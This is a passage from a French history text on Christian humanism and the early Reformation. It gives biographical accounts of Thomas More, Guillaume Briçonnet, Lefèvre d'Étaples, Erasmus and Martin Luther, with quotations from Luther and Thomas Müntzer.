apprécier la vie de Pic de la Mirandole, traduire sa biographie, «Vie de Jean de Pic », où il peut concilier les exigences spirituelles et laïques. Car Thomas More cherchera toute sa vie un équilibre entre ses propres préoccupations religieuses ; entre 1501 et 1505, il hésitera à entrer dans les ordres mais privilégiera l’état laïque. Il se marie, et, veuf, se remarie en 1511 et voudra donner l’image d’une famille chrétienne. Avocat, député de Londres à la Chambre des Communes en 1504, Thomas More devient officier et juge municipal de Londres dès 1510 . dès lors, il est connu de la cour et le roi Henri VIII le choisit comme ambassadeur en 1515, membre du Conseil royal en 1518, speaker des Communes en 1523 et chancelier en 1529. Pourtant un grave conflit va opposer le chancelier et son roi, la question du divorce de ce dernier. En effet, Henri VIII, marié à Catherine d’Aragon, elle–même veuve d’Arthur frère du roi, est toujours sans héritier : ce point, joint à l’union avec la veuve de son frère, union dont Henri VIII trouve l’interdiction dans l’Ancien Testament, et le souhait d’épouser Anne Boleyn, conduit le roi à vouloir divorcer. L’Église et le pape s’opposent à l’annulation du mariage et Thomas More suit cette interdiction tandis qu’Henri VIII conteste l’autorité papale et affirme la sienne propre sur l’Église d’Angleterre. Ce conflit entre Henri VIII et le clergé d’Angleterre lié au pape sera terminé en deux étapes. D’abord en 1532 lorsque l’Église d’Angleterre cèdera devant Henri VIII, puis en 1534 avec ‘L’acte de Suprématie’ qui donne au roi le titre de chef suprême de l’Église d’Angleterre, Acte qui ouvre la voie à l’anglicanisme. En 1532, Thomas More doit démissionner de la Chancellerie, en décidant de ne plus interférer dans la politique royale, mais en 1533 il publie des ouvrages où il défend ses opinions précédentes : son opposition à Henri VIII est de nouveau publique, de plus en plus affirmée, et atteint son maximum lorsque Thomas More refuse de prêter serment au roi pour reconnaître son divorce. En 1534, Thomas More est arrêté et emprisonné dans la Tour de Londres où il reste prés d’un an. Après jugement et condamnation à mort pour trahison et non- reconnaissance de l’autorité suprême du roi sur l’Église d’Angleterre, il est décapité le 6 juillet 1535. La personnalité de Thomas More peut paraître contradictoire, voire double. En vérité, il est à la jonction de la fin du monde médiéval et du début de la modernité liée à l’humanisme. D’une part, celui que l’hagiographie a qualifié de martyr et saint (il sera d’ailleurs béatifié en 1886 et canonisé en 1935) reste un homme attaché à son Église catholique ; il n’hésite pas à formuler officiellement et publiquement qu’on ne peut légiférer d’une manière « contradictoire avec la loi de l’Église catholique et universelle du Christ », ni « lier sa conscience au concile d’un seul royaume, celui d’Angleterre, outre le concile général de la chrétienté » ; il n’hésitera pas non plus à condamner les idées ‘hérétiques ‘de Luther et à ordonner des autodafés d’œuvres dangereuses à ses yeux ; il publie en 1523 sa « Réponse à Luther » où il retrace toute la tradition chrétienne impossible, dit –il, à remettre en question. Il ira jusqu’au bout de sa logique dans son conflit avec Henri VIII, jusqu’à la mort. D’autre part, Thomas More est l’auteur de « L’utopie » , publié en 1516. L’œuvre dont le titre signifie ‘nulle part’ en grec pose la question de la crédibilité de Thomas More : en effet quand la première partie du livre, qui en contient deux, est une critique des princes, des cours, des guerres, des richesses, face à la pauvreté et à l’injustice, la seconde partie est la description idyllique de vie sur l’île d’Utopie où la propriété privée n’existe pas , où les utopistes sont égaux, vivent ensemble et portent les mêmes habits ; les cinquante quatre villes d’Utopie sont administrées par des conseils élus avec un sénat qui se réunit une fois par an, avec des discussions publiques ; les guerres ne sont que défensives, ou ne servent qu’à libérer les opprimés ; enfin aucune religion n’est imposée et nul ne peut être persécuté pour celle qu’il pratique. La désobéissance aux seuls trois dogmes obligés, l’immortalité de l’âme, la toute–puissance de la providence divine qui gère le monde, et la punition ou récompense après la mort, entraîne l’exclusion de l’utopien récalcitrant , mais pas la condamnation à mort. L’ouvrage, par son ambiguïté, tend à montrer l’auteur entre deux idéologies, entre un passé auquel il adhère et le sentiment d’un avenir fait de théories humanistes. Sa lutte contre ‘ l’hérésie ‘ luthérienne, dans les années qui suivent la publication de l’Utopie pousserait à démontrer le fort enracinement de Thomas More dans son Église et son passé, mais l’Utopie qu’il décrit n’est-elle pas l’un de ses rêves, sans doute irréalisable, comme le nom commun que le célèbre titre a fait naître ? ; mais précisément aussi un projet à défendre ou à espérer ? Il n’en reste pas moins que Thomas More est l’homme qui a signé ce texte , étonnant pour son époque et dont la modernité se prévaudra, mais qui est mort également pour rester fidèle à une Église qu’il ne voulait pas voir déchirée. Au XV<sup>e</sup> et XVI<sup>e</sup> siècles, la France est la plaque tournante pour toute l’Europe. Deux personnages, entourés de disciples et d’amis, vont s’avérer être essentiels au tournant du siècle : Guillaume Briçonnet et Lefèvre d’Etaples. Né à Paris, Guillaume Briçonnet (vers 1470–1534) fait ses premières études au Collège de Navarre. En 1489, il devient évêque, abbé en 1493, chanoine de l’église de Paris en 1503, s’installe au ministère bénédictin de Saint Germain des Prés à Paris, enfin il est évêque de Meaux en 1515. Cette ville, centre de tissage, compte de nombreuses filatures dont les ouvriers et artisans voient mal les abbayes autour de Meaux sans abbé, le clergé mal formé, et aspirent à des réformes dans l’Église. Outre ses charges ecclésiastiques, Guillaume Briçonnet va cumuler les fonctions politiques : de 1495 à 1507, il est président à la Chambre des Comptes, de 1499 à 1521 conseiller au Parlement de Toulouse ; puis il assistera aux Etats du Languedoc avant d’être ; à partir de 1516, ambassadeur auprès du pape Léon X, et sera présent aux conclusions du Concordat de Bologne la même année. Le nombre de ses charges ne laisse pas l’évêque de Meaux dans une satisfaction passive, mais bien au contraire l’incite à repenser le fonctionnement de l’Église et aiguise sa réflexion . Conscient du besoin de réformes, Briçonnet insiste d’abord sur la nécessité d’une présence régulière et attentive des hommes d’Église auprès des fidèles ; il souhaite une formation du clergé, un enseignement plus tourné vers la prédication, l’usage du français dans la liturgie, le retour à l’Évangile. Mais le concordat de 1516 lie le roi à l’Église, et, avec ses fonctions, l’évêque de Meaux ne peut ni le remettre en cause ni se déjuger. Et cela d’autant plus que François I°, sous l’influence de sa sœur Marguerite d’Angoulême, n’est pas hostile aux réformes et a laissé se développer le cénacle de Meaux. En outre, dès 1517, le roi a demandé à Guillaume Budé de créer un Collège des savants pour qu’y soient enseignées les langues anciennes ; ce Collège verra le jour en 1530 avec les ‘lecteurs royaux’ et sera à l’origine du Collège de France. Enfin en 1522 le roi a favorisé la publication du Nouveau Testament par Lefèvre d’Etaples, et dans l’Église, François I° a encore souhaité réunir des conciles dans toutes les provinces ecclésiastiques du royaume. Mais si 1515 et 1516 ont été des dates fastes pour François 1er, 1525 est l’échec cuisant de Pavie. Aux conséquences de politique extérieure se mêlent celles de politique intérieure . En effet, profitant de la captivité du roi en Espagne, les théologiens de Paris attaquent les humanistes chrétiens, le Parlement de Paris intente un procès à Guillaume Budé, fait arrêter Louis de Berquin, interdit la traduction de la Bible en français, et les conciles provinciaux refusent de diffuser ces mêmes Ecritures aux fidèles. Marguerite d’Angoulême, devenue Marguerite de Navarre par son remariage avec Henri III d’Albret, a du quitter la cour en 1527, et Guillaume Briçonnet, dans cette conjoncture, se retrouve isolé à Meaux dont l’exemple ne peut plus être suivi , le groupe du cénacle ayant été dispersé depuis 1525. François 1er, rentré en France en 1526, pris entre les guerres avec Charles Quint et la question non résolue des réformes religieuses demandées, hésite encore, alors que les idées, les « propositions » de Martin Luther sont connues depuis les années 1525 et commencent à se propager. Cette ‘hérésie’, pour beaucoup, risque donc de toucher à la fois les hommes d’Église et les fidèles dans une proportion et avec une rapidité que les autorités ecclésiastiques commencent à craindre . Alors éclate en 1528 la première affaire des Placards, puis la seconde, beaucoup plus importante en 1534. Les conséquences de la répression anti-huguenote à cette affaire sont religieuses, sociales avec le premier grand exil des huguenots, et politiques, face aux pays nordiques qui optent pour Luther. Guillaume Briçonnet meurt en 1534, redevenu l’homme de l’Église catholique qu’il avait été avant l’expérience du cénacle de Meaux. L’Histoire gardera de lui l’image de ‘l’homme de la pré-Réforme, de la Réforme et de la Contre –Réforme’. Dès 1521, date de la condamnation de Luther, il avait choisi ‘le retour’ à l’Église et avait en 1523 révoqué Guillaume Farel qui avait du quitter Meaux pour Paris. L’évêque de Meaux était également retourné au culte des morts, au culte des saints, à l’idée de purgatoire et aux différentes forces traditionnelles de l’Église catholique. Celui dont la devise est « connaître l’Évangile, suivre l’Évangile, faire connaître l’Évangile » et dont le nom latinisé Fabri donnera celui de ses élèves,les fabristes, traverse avec Guillaume Briçonnet l’épisode du cénacle de Meaux et l’affaire des Placards. Né à Etaples vers 1450, Jacques Lefèvre d’Etaples (vers 1450-1536) reçoit d’Aristote. À Paris, il enseigne la philosophie au collège du cardinal Lemoine, opposé à la scolastique de la Sorbonne. A sa grande érudition, Lefèvre d’Etaples joint une grande piété et un goût prononcé du texte original et de l’exégèse. Ses oeuvres témoignent de cette connaissance des Ecritures et de sa volonté de partager son savoir. En 1509, s’étant attaché à l’étude des Psaumes, il en publie des « Commentaires », comme il publie en 1512 des « Commentaires sur les épîtres de Saint Paul ». En 1522, d’autres « Commentaires » encore sont publiés, sur les quatre évangiles, traduits en français avec des annotations pour le grec en face du texte de la Vulgate . Cette même année, François I° donne son accord pour que soit traduit l’ensemble du Nouveau Testament en français, mais aux frais de sa mère Louise de Savoie, sa sœur Marguerite d’Angoulême, et Guillaume Briçonnet. Lefèvre d’Etaples faisait partie depuis 1523 du cénacle de Meaux et y restera jusqu'en 1525, date de la fin du cénacle. En 1527, les derniers « Commentaires » paraissent sur les épîtres dernières ; c’est l’ultime ouvrage signé de sa main, l’heure est à la prudence face au danger politico-religieux après Pavie, et s’il continue d’écrire, il ne signera plus. En 1525, le grand humaniste s’était exilé à Strasbourg, rappelé un an plus tard par François 1er à Blois où le roi le charge de l’instruction des enfants royaux et de la gestion de sa bibliothèque. En 1530, il se retire à Nerac où il meurt en 1536. Jacques Lefèvre d’Etaples a sans doute représenté l’un des plus grands humanistes chrétiens, a créé le mouvement fabriste, a cheminé en pensée et en théologie avec Luther qu’il n’a jamais rencontré, mais qui connaissait l’humaniste français. Lefèvre d’Etaples est un des personnages clefs de cette période qui devait aboutir à la Réforme, lui qui disait que le nouveau Testament devait devenir « le livre de vie et seule règle des chrétiens » et que « Dieu opère tout en nous ». L’un des amis de Lefèvre d’Etaples, sans être français, aura marqué la France et l’Europe par sa personnalité et son humanisme inégalable, Erasme, - Desiderius Erasmus comme il choisira de s’appeler -. De son vrai nom ‘ Gérard, fils de Gérard’ (1467 – 1536) du nom de son père, Gérard de Praët (qui ne le légitimera pas), naît à Rotterdam. Ses premières études se font à Gouda, puis il est enfant de chœur à la cathédrale d’Utrecht, puis à Deventer. Orphelin , il doit suivre le séminaire de Bois- le- Duc où il est destiné à l’Église. Après hésitations et refus, il se décide à entrer au couvent des Augustins de Stains où il prononcera ses vœux. Contrairement à ses condisciples, il se plaît à étudier les textes anciens et apprend le latin . Cette dernière qualité le fait nommer pour accompagner l’évêque de Cambrai à Rome, voyage qui n’aura pas lieu mais donne l’occasion à cet évêque d’apprécier le jeune homme et de l’ordonner prêtre en 1492. En 1496, le même protecteur aide Erasme à aller à Paris, mais là, le jeune homme se heurte à la scolastique et préfère rentrer à Cambrai puis en Hollande. Il repart pour la France, à Orléans notamment, avant de se rendre en Angleterre où il séjourne de 1497 à 1499. Il publiait alors déjà des ouvrages en latin ; à cette époque, - ou plus tôt ?- , il choisit le nom de Desiderius Erasmus, suivant la mode des pseudonymes latinisés, et désormais pour tous, Erasme. À Londres, le jeune humaniste fréquente les collèges d’Oxford et Cambridge, rencontre Thomas More. De retour en France, il est à nouveau à Paris ou Orléans, puis encore à Louvain ou Rotterdam. Il retourne bientôt à Cambridge où son goût et ses talents pour le grec le mènent à enseigner cette langue au fils de Jacques III d’Écosse. En 1506, il est à nouveau à Paris d’où il repart pour Lyon, puis l’Italie, où, à Turin, il est nommé docteur en théologie. Puis ce sera Bologne, Florence, Venise qui l’accueillent et où il rencontre Aldo Manuce ; deux ans plus tard, il est à Padoue, Sienne et Rome : là, le pape Jules II le libère de ses vœux et l’autorise à ne porter que l’habit laïc. En 1509, Erasme retourne en Angleterre, où il est reçu par Henri VIII, et c’est de cette époque que date la rédaction de son ouvrage « L’ éloge de la folie », ses années d’enseignement du grec, des Pères de l’Église, et du Nouveau Testament, à Cambridge, jusqu’en 1517. Il quitte l’Angleterre pour l’Allemagne puis Bâle pour y revenir de 1515 à 1516. Son « Nouveau Testament », qu’Erasme veut voir différent de la Vulgate’, paraît en 1516. À cette date, un grand personnage entre dans la vie de l’humaniste, Charles Quint. Erasme, appelé à la cour, est nommé conseiller du roi et, malgré cette charge, s’efforcera de rester dans le domaine des idées et non dans celui de la politique . En vérité, il reste attaché à l’idée que la chrétienté doit rester une ‘ réalité politique ‘, proche en cela du principe d’un empire qui pourrait faire régner la paix par la religion catholique. Erasme va donc préférer poursuivre son œuvre d’humaniste et d’auteur. Toujours en 1516, il publie à Louvain son « Instituti principi christiani ». Le dernier séjour d’Erasme en Angleterre est en 1517 avant qu’il ne s’installe à Bâle en 1521. Il quitte cette ville en 1525 pour Fribourg mais y revient pour la publication de plusieurs de ses ouvrages. Il quitte Bâle en 1529 en désaccord avec Luther, et encore davantage en 1530 avec la Confession d’Augsbourg. De retour à Bâle en 1535, Erasme se prépare à voyager encore, tout en travaillant encore à ses ouvrages, dont une publication sur Origène qu’il ne terminera pas : la maladie l’emporte en 1536 et le cortège funèbre sera suivi par toute la population bâloise et les membres de l’université, avant l’inhumation dans la cathédrale. Considéré, comme Lefèvre d’Etaples, comme un des grands humanistes, Erasme s’est distingué par son érudition, ses écrits et son pacifisme. Ecrivain, traducteur, fin connaisseur du grec (dont il devait notamment étudier les différences de prononciation entre grec ancien et grec moderne), philologue et pédagogue, il était également théologien. Dans cette dernière discipline, Erasme s’illustre à la fois par son modernisme humaniste et par son refus des querelles. Si « L’éloge de la folie » est une critique sans concession, pleine d’humour et d’ironie, de l’Église du moment, de son clergé ignorant, de ses fidèles superstitieux ou terrorisés, de ses théologiens scolastiques, il sait aussi aller en profondeur soit dans les œuvres antiques, soit dans l’étude du christianisme, dont les Pères de l’Église et les traductions du Nouveau Testament. Ses nombreuses œuvres témoignent de cette démarche et de cette volonté de partage du savoir qui le caractérisait. Luther lui –même avait eu connaissance des œuvres de l’humaniste hollandais et européen, même si le désaccord entre les deux hommes devait aller grandissant, jusqu’à la ‘rupture’ de la Confession d’Augsbourg. ; Luther considérait Erasme comme trop prudent, et Erasme n’appréciait guère la virulence de Luther et surtout, derrière la combativité du réformateur allemand, sa théologie. Une marque de ce profond désaccord se trouve dans la correspondance échangée entre les deux théologiens dans les années 1519 – 1527 et dans les ouvrages que chacun d’eux écrit et qui se répondent. Notamment en 1524 Erasme écrit « Du libre- arbitre », en latin, à quoi Luther répond, en latin également « Du serf- arbitre » : pour le premier, l’homme peut participer à son salut, tandis que pour le second, l’homme ne peut rien, Dieu seul peut le sauver. Erasme définira encore le libre – arbitre comme « le pouvoir qu’a la volonté humaine de s’appliquer à tout ce qui est requis pour le salut éternel » , en ajoutant : « Dieu nous impute comme mérite de ne pas détourner notre esprit de sa grâce ». Luther répondra : « La volonté humaine se trouve donc placée entre Dieu et Satan et se laisse guider et pousser comme un cheval . Si c’est Dieu qui la guide elle va là où Dieu veut et comme il le veut, ainsi que le dit le psaume 73, verset 22 et suivants ; si c’est Satan qui s’en empare, elle va là où il veut et comme il veut. Or la volonté humaine en tout ceci n’est plus libre de choisir un maître : les deux cavaliers combattent et disputent à qui s’en emparera. » Rien ne réconciliera les deux personnages, l’un croyant en l’homme et l’autre s’en remettant au choix de Dieu et au don de la grâce. Voyageur infatigable et émissaire européen de l’humanisme, Erasme a été connu en Espagne également. On pourra parler d’un courant érasmien grâce à ses oeuvres traduites en castillan, qui connaissaient un grand succès. Cependant, dès la condamnation de Luther, en 1521, une répression anti-érasmienne a lieu. Un procès se tiendra à Valladolid, qui durera six semaines et dont le jugement ordonnera que, sans être traités d’hérétiques, des écrits traduits en castillan seront interdits, et d’autres, en latin, devront être expurgés. Ainsi l’Espagne aura –t-elle été touchée par Erasme à travers ses ouvrages, et l’humanisme aura –t-il pénétré dans le pays principal de l’Empire qui se qualifiait de ‘catholique’ donc universel, mais aussi romain, quand la Réforme qui s’implantait se voulait aussi ‘catholique’ donc universelle, mais non–romaine. Cette universalité, Erasme la voulait donc chrétienne, se disant lui–même « citoyen de la République des Lettres », lui qu’on appelait « Le prince des humanistes ». == 3° chapitre : La Réforme en Allemagne, en Suisse, et à Strasbourg. == Dans cette Europe bouleversée du XVI<sup>e</sup> siècle où tout se dit, s’écrit, est jugé, parfois condamné, en Allemagne un autre moine se lève : Martin Luther. Théologien et érudit, pédagogue et débatteur virulent, il est sûr de ses « Propositions », contre son Église et contre son ordre, contre l’Empereur et contre certains de ses condisciples . le moine réformateur est celui qui reprend les affirmations de ses ‘prédécesseurs’, mais il sera le négociateur du tournant définitif et décisif. Martin Luther (1483- 1546), né à Eiseleben, est d’abord destiné à une carrière de juriste que lui trace son père. Le jeune homme, vif et brillant, va faire ses études chez les Frères de la vie commune, puis à l’université d’Erfurt d’où il sort diplômé en 1505. Mais ni le droit ni la carrière promise ne convainquent Martin, déjà préoccupé par la question de sa propre foi et la situation de l’ Église. Il décide bientôt de changer d’orientation et choisit l’Église. Il entre au couvent des Augustins d’Erfurt où il a, comme remèdes à son angoisse spirituelle, une vie ascétique, des mortifications et des jeûnes répétés. Il étudie la théologie , est ordonné prêtre en 1507, et sera docteur en théologie en 1512. Il enseigne alors la philosophie et dès lors se consacre à l’enseignement et à la prédication. Cependant l’exigence intellectuelle et spirituelle de Martin Luther n’a pas diminué. Il approfondit sa lecture de la Bible et tout particulièrement les épîtres de Saint Paul : il veut comprendre la place de l’homme en face de Dieu, la question du salut et de la mort, ne se contente pas des réponses de l’Église dont il connaît les insuffisances et les abus, souhaite déjà un enseignement général pour tous, dont précisément la lecture des Ecritures. Il quitte progressivement le domaine de la scolastique pour oser une réflexion personnelle sur la foi et la religion. En 1508 Luther entre à l’université de Wittenberg où il poursuit ses études en plus des prédications qu’il donne à l’église, et où, déjà , il explique sa philosophie et ses vues sur le christianisme tel qu’il est vécu autour de lui. Il dénonce notamment la pratique des indulgences, à ses yeux ‘remède’ trop facile et injuste en matière de fortune pour les uns par rapport aux autres, pour être ‘libéré ‘des péchés, remède peu admissible de la part de l’Église qui se jouait ainsi de la crédulité des fidèles. Luther appelait la vente des indulgences « le commerce du salut ». Cette question des indulgences s’envenime lorsque la vente qui sera effectuée par Tetzel, en est autorisée en Allemagne, pour la construction de la basilique Saint Pierre, avec l’accord de l’archevêque Albert de Mayence. Luther écrit à ce dernier pour empêcher cette vente. Sans réponse. Luther décide donc de faire imprimer et publier « 95 thèses », liste de 95 affirmations où , à travers la virulente critique des indulgences et de leur vente, il dénonce le comportement des hommes d’Église et la crédulité des fidèles. La légende qui s’est emparée de ce geste choisit de montrer le moine en colère placardant ses imprimés à la porte de l’église de Wittenberg, le 31 octobre 1517 ; mais s’il est vrai que les sources premières ne peuvent encore prouver ce geste, en revanche il reste sûr que la rédaction et la publication de telles « thèses » ne pouvaient être qu’irréversibles, pour la pensée réformatrice et pour l’Histoire. La liste des ces thèses est précédée d’un « Avertissement » qui montre la détermination de l’auteur : ::« Pour l’amour de la vérité ::et du désir de l’élucider ::le Révérend Père Martin Luther ::maître des arts et docteur en théologie, ::professeur ordinaire ici à Wittenberg, :: se propose de défendre les thèses suivantes ::et de les discuter ici même. ::Il demande donc que ::Ceux qui ne peuvent être présents ::Et discuter avec lui oralement ::Le fassent par écrit. :::Au nom de notre Seigneur ::::Jésus Christ ::::Amen. Les réactions religieuses et politiques sont immédiates : Luther est dénoncé par l’archevêque et Rome le menace d’excommunication. Désormais le conflit est ouvert. En octobre 1518 Luther est convoqué à Augsbourg où il devra se rétracter : il ne le fait pas. Il affirme « rétracter quoi que ce soit je ne puis ni ne veux (....)car agir contre sa conscience, ce n’est ni sûr ni honnête. » Un an plus tard, il met en cause l’infaillibilité des conciles, en 1520 la menace d’excommunication est exécutée, par une bulle papale, et on brûle ses écrits. L’accusé brûle à son tour la bulle, le conflit est alors à son comble : l’excommunication est prononcée le 3 janvier 1521. La rupture avec Rome étant effective, entre en scène la politique. A la Diète de Worms d’avril 1521 on attend une nouvelle fois que l’accusé se rétracte ; il refuse affirmant que la seule obéissance est à la Bible et non à l’Église : l’édit de Worms condamne alors officiellement Luther et ses amis, et les met au ban de l’Empire de Charles Quint. L’histoire d’un moine augustin excommunié et passible de la peine de mort pourrait s’arrêter là, mais d’autres jeux politiques s’amorcent : Luther est soutenu par le Landgrave de Hesse et le prince électeur de Saxe, Frédéric le Sage. Ce dernier fait enlever le condamné et le fait conduire au château de la Wartburg ; le moine, devenu ‘le chevalier Georges’ va rester à l’abri jusqu’en mars 1522 et mettre à profit ce séjour semi clandestin pour traduire le Nouveau Testament en allemand. À Wittenberg on a pris parti pour l’ancien prédicateur et professeur de l’université, en dépassant parfois la pensée du maître. Certains veulent remanier la messe, des manifestations iconoclastes ont lieu, etc.... De retour dans la ville, Luther aura à lutter contre ces débordements qu’il n’admet pas. Là comme ailleurs, la réforme luthérienne commence à s’implanter. Charles Quint, en guerre avec la France, contrôle moins bien ce mouvement qui commence à dépasser les frontières. En 1526 les princes électeurs se voient autorisés à appliquer la loi : ‘cujus regio, ejus religio’, ‘un roi, une religion’ : les sujets de chaque prince sont tenus d’avoir la même religion que le prince, mais en cas de désaccord peuvent quitter leur Etat pour s’établir dans celui d’ un autre prince dont ils pourront pratiquer la religion. À la Diète de Spire en 1529 Charles Quint ne peut rien modifier à cette situation quand les princes menacent de ’pro-tester’, deviennent des ‘protestants’, et en 1530 a lieu à la Diète d’Augsbourg la lecture de la Confession d’Augsbourg, rédigée par Melanchton, approuvée par Luther : le Luthéranisme a dès lors son fondement, sa profession de foi et bientôt ses disciples, les luthériens. Désormais la voie est tracée pour Martin Luther. Toutes les réformes réclamées depuis des décennies se sont transformées en une Réforme. Le second schisme, après celui de l’orthodoxie en 1054, a eu lieu. Le christianisme a donc deux branches, l’orthodoxie et le luthéranisme, toutes les Églises plus tard issues de la Réforme naîtront de celle de Luther. La théologie luthérienne comporte des aspects fondamentaux différents de ceux de l’Église catholique. Le premier point essentiel est, après la relecture de Saint Paul, la certitude de la justification par la foi ; l’homme est sauvé par le don de la grâce de Dieu, par le Christ ; le salut n’est donc pas, selon Luther, ‘à gagner’, mais ‘ à conserver’ comme un don fait par Dieu à l’homme dont les actions désormais témoignent de sa reconnaissance et de sa conscience d’avoir été ‘sauvé’, gratifié du salut. Suivent ensuite les sacrements, dont deux seulement sont maintenus dans le luthéranisme, le baptême et la communion. Sont supprimés les vœux monastiques et le célibat des prêtres. Les pasteurs seront élus par les communautés, le culte dit en allemand, dans la langue que tous peuvent comprendre, comme la Bible qui sera également lue en allemand. Mais le point théologique qui va établir la rupture avec l’Église catholique que Luther quitte, est qui sera vivement ressenti, est au sujet de la communion. Pour l’Église jusque là l’eucharistie représente en effet la ‘transsubstantiation ‘, la transformation des espèces, pain et vin en corps et sang du Christ. Luther abandonne cette affirmation pour une autre : il ne s’agit pas pour lui de transsubstantiation mais de ‘consubstantiation’ : il n’y a pas pour lui transformation des espèces mais ‘présence’ du Christ dans les espèces. Plus tard, l’idée même de consubstantiation sera elle – même combattue par Zwingli, qui parlera de ‘symbole’, idée reprise par Calvin. À ses talents de théologien Martin Luther allie ceux du pédagogue préoccupé de l’enseignement, et notamment celui des enfants. Il écrit : : « Quand il n’y aurait ni âme, ni ciel, ni enfer, encore serait-il nécessaire d’avoir des écoles pour les choses d’ici-bas, comme nous le prouve l’histoire des grecs et des romains. J’ai honte de nos chrétiens, quand je les entends dire : « L’instruction est bonne pour les ecclésiastiques, mais elle n’est pas nécessaire aux laïques ». Ils ne justifient que trop, par de tels discours, ce que les autres peuples disent des allemands. Quoi ! il serait indifférent que le prince, le seigneur, le conseiller, le fonctionnaire fût un ignorant ou un homme instruit, capable de remplir chrétiennement les devoirs de sa charge ? Vous le comprenez, il nous faut en tous lieux des écoles pour nos filles et nos garçons, afin que l’homme devienne capable d’exercer convenablement sa profession, et la femme de diriger son ménage et d’élever chrétiennement ses enfants. Et c’est à vous, seigneurs, de prendre cette œuvre en main, car si l’on remet ce soin aux parents, nous périrons cent fois avant que la chose se fasse. Et qu’on n’objecte pas qu’on manquera de temps pour instruire les enfants : on en trouve bien pour leur apprendre à danser et à jouer aux cartes ! Si j’avais des enfants et des ressources pour les élever, je voudrais qu’ils apprissent, non seulement les langues et l'histoire, mais encore la musique et les mathématiques. Je ne puis me rappeler sans soupirer qu’il m’ a fallu lire, non les poètes et les historiens de l’antiquité, mais les livres de sophistes barbares, avec grande dépense de temps, avec dommage pour mon âme, en sorte qu’aujourd’hui j’ai encore grand peine à me débarrasser l’âme de ces souillures, et de cette lie. Certes, je ne veux plus d’écoles semblables à celles d’autrefois, où l’enfant perdait plus de vingt ans à apprendre par cœur Donat et les vers insupportables d’Alexandre (frigidissimi versiculi), ne devenant pas même plus habile au jeu de paume. Nous vivons dans des temps plus heureux. Je demande que l’enfant aille à l’école, au moins une heure ou deux par jour, et il faut qu’on prenne les plus capables pour en faire des instituteurs et des institutrices. Assez longtemps nous avons croupi dans l’ignorance et la corruption ; assez et trop longtemps nous avons été ‘les stupides allemands’, il est temps qu’on se mette au travail. Il faut par l’usage que nous ferons de notre intelligence , prouver à Dieu que nous sommes reconnaissants de ses bienfaits. : Les jeunes filles, elles aussi, ont assez de temps pour qu’on exige d’elles qu’elles aillent à l’école chaque jour, au moins une petite heure (saltem ad unius horulae spatium). Elles emploient bien plus mal leur temps lorsqu’elles passent plusieurs heures à danser, à conduire des rondes, ou à tresser des couronnes . » Martin Luther, extrait du Libellus de instituendis pueris ; magistratibus et senatoribus civitatum Germaniae Martinus Luther. Cité par Gabiel Compayré, in Histoires critiques des doctrines de l’éducation en France depuis le XVI° siècle, Paris, Hachette et Cie, 1883, 4° édition tome I. Pour aider les fidèles, Luther publie en 1526 la « Messe allemande » pour expliquer le nouveau culte réformé luthérien, un « Petit catéchisme » pour les enfants en 1529, un « Grand catéchisme « pour les pasteurs en 1530. L’œuvre immense du théologien – quelques cent volumes – atteste de cette volonté de transmission. Du point de vue humaniste, Luther se heurte à Erasme, les deux hommes étant fort différents, le premier ancien moine virulent et parfois fougueux, le second ayant pris du recul face à l’Église et connu pour son irénisme. Dans le domaine politique, Martin Luther aura bénéficié de l’appui de Frédéric le Sage est restera attaché à la hiérarchie de son époque. La Révolte des paysans de 1524-1525 reste la marque de Luther qui approuve la forte et cruelle répression qui suit cette révolte des paysans, dressés contre le prince, mais aussi en partie en désaccord avec le luthéranisme. L’adversaire principal de Luther dans cette affaire est Thomas Müntzer (vers 1480-1525). Ce dernier en effet, qui avait étudié à Leipzig puis à Francfort sur Oder était devenu prêtre, charge qu’il avait abandonnée en 1522 ; il avait opté deux ans auparavant pour la réforme de Luther, qu’il avait rencontré en 1519. Il est d’abord en accord avec le réformateur sur les besoins de réformes dans l’Église, puis sur les « 95 thèses ». Bientôt les deux hommes divergent et le désaccord devient conflit. Thomas Müntzer reproche à Luther ses relations politiques avec les princes, l’accuse de ne pas s’occuper davantage des paysans et s ‘écarte de la théologie luthérienne, pour prêcher bientôt un radicalisme que Luther juge outrancier et désapprouve dans le fond. Il reproche à son tour à Müntzer son agressivité et sa violence, notamment quand il apprend le comportement iconoclaste dont Müntzer est accusé en 1524 . De ‘révolutionnaire’, Müntzer devient ‘prophète’, voyant dans les bouleversements du XVI<sup>e</sup> siècle les conséquences d’une foi mal vécue ou mal prêchée. Il écrit sa « Protestation de la vraie foi chrétienne » : : « Moi, Thomas Müntzer, serviteur du Fils du Dieu par la volonté immuable et la miséricorde inébranlable de Dieu le Père, j’adresse mon salut et souhaite dans l’Esprit Saint à vous tous, êtres amis de Dieu, la pure et droite crainte du Seigneur et la paix à laquelle le monde est hostile. » Puis, à Frédéric le Sage il envoie ces lignes : : « Dieu a décidé de me placer en avant comme une muraille pour protéger la pauvre chrétienté en ruines, que l’on ne doit pas seulement blâmer en partie, comme certains le pensent, mais dans son ensemble, en attaquant le mal à sa racine. » Il s’engagera dans la Révolte aux côtés des paysans, mais, fait prisonnier,il est condamné et décapité en 1525. Cette attitude de Luther dans la Révolte des paysans, qui sera jugée dure et proche de l’intolérance, se retrouve dans une autre attitude, toute médiévale, face au judaïsme. Luther accuse les juifs de la mort du Christ, ou de ne pas se convertir ; il est prêt à brûler les synagogues, suivi en cela par son épouse qui, lors d’une maladie de Luther, y voyait la marque et la malédiction juive. En effet Martin Luther a mis ses affirmations en pratique, et critiquant le célibat des prêtres, il convolera en noces avec Catherine de Bora en 1525. D’abord dans l’obligation d’entrer au couvent, la jeune Catherine s’en échappe, arrive à Wittenberg où elle rencontre Luther. Malgré les difficultés, les critiques adressées aux jeunes gens – quand on a refusé le célibat des prêtres, il est moins facile d’envisager leur mariage – et les hésitations de Luther lui – même, le mariage a lieu et six enfants devaient unir la famille, avec la douleur de la perte d’une fille dont le père se remettra mal. Intelligente et attentive, cultivée, Catherine secondera son époux toute sa vie en veillant à la tenue du ménage où l’argent manquait souvent, mais où le couple recevait mis et étudiants en ‘table ouverte’ pour le bonheur de professer et de débattre ; les discussions, ces ‘controverses’, commençaient à table puis se poursuivaient dans le bureau du réformateur. Les notes de ces débats, prises et conservées par les étudiants, devaient plus tard être publiées sous le titre « Propos de table », témoignant de la curiosité et de la culture que tous partageaient. Luther inquiétait Catherine par sa santé parfois fragile. Dès 1527, le voyant souffrir les douleurs de la maladie de la pierre qui ne le quittaient guère, Catherine craindra toujours pour l’avenir de ses enfants, mais c’est encore le malade qui réconfortait son épouse. Quand Martin Luther meurt en 1546, l’œuvre écrite est importante, mais l’œuvre spirituelle l’est plus encore. La théologie scolastique ne sera plus défendue désormais avec la même conviction, le nouveau luthéranisme 